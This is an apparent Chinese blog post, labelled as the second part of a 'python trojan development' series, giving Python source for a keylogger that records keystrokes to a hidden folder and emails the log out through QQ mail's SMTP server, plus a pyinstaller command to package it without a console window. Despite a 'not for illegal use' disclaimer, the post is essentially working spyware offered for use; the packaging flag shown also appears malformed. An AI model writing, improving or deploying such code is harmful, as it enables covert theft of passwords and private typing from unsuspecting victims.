python trojan development 2nd —— use python to send mail and listen to the key board then combine them

请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!

 1 from pynput.keyboard import Key,Listener
 2 import logging
 3 import os
 4 import smtplib
 5 from email.mime.text import MIMEText
 6 from PIL import ImageGrab
 7 import random
 8 from time import *
 9 from email.mime.multipart import MIMEMultipart
10 from email.mime.text import MIMEText
11 from email.mime.image import MIMEImage
12 
13 def send_mail(filename):
14     file = open(filename,"r",encoding="UTF-8")
15     data = file.read()
16     file.close()
17     msg_from='@qq.com'                                 #发送方邮箱
18     passwd=''                                   #填入发送方邮箱的授权码
19     msg_to=''
20 
21 
22     subject="python邮件测试"                                     #主题
23     content=data
24     msg = MIMEText(content,"plain","utf-8")
25     msg['Subject'] = subject
26     msg['From'] = msg_from
27     msg['To'] = msg_to
28     try:
29         s = smtplib.SMTP_SSL("smtp.qq.com",465)
30         s.login(msg_from, passwd)
31         s.sendmail(msg_from, msg_to, msg.as_string())
32         print( "发送成功")
33     except:
34         print("发送失败")
35     finally:
36         s.quit()
37 
38 def mkdir(path):
39 
40     path = path.strip()
41     # 去除尾部 \ 符号
42     path = path.rstrip("\\")
43 
44     isExists = os.path.exists(path)
45 
46     # 判断结果
47     if not isExists:
48 
49         os.makedirs(path)
50 
51        # print(path + ' 创建成功')
52         return True
53     else:
54         # 如果目录存在则不创建,并提示目录已存在
55        # print(path + ' 目录已存在')
56         return False
57 
58 
59 # 定义要创建的目录
60 path = "C:\\hola\\"
61 # 调用函数
62 mkdir(path)
63 
64 logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
65 
66 
67 def press(key):
68     logging.info(key)
69     if key==Key.enter:
70         return False
71 
72 with Listener(on_press = press) as listener:
73     listener.join()
74 
75 
76 send_mail(path+"keylog.txt")

 打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令

1 pyinstaller -F xx.py --hidden-pynput --noconsole

 

你可能感兴趣的:(python trojan development 2nd —— use python to send mail and listen to the key board then combine them)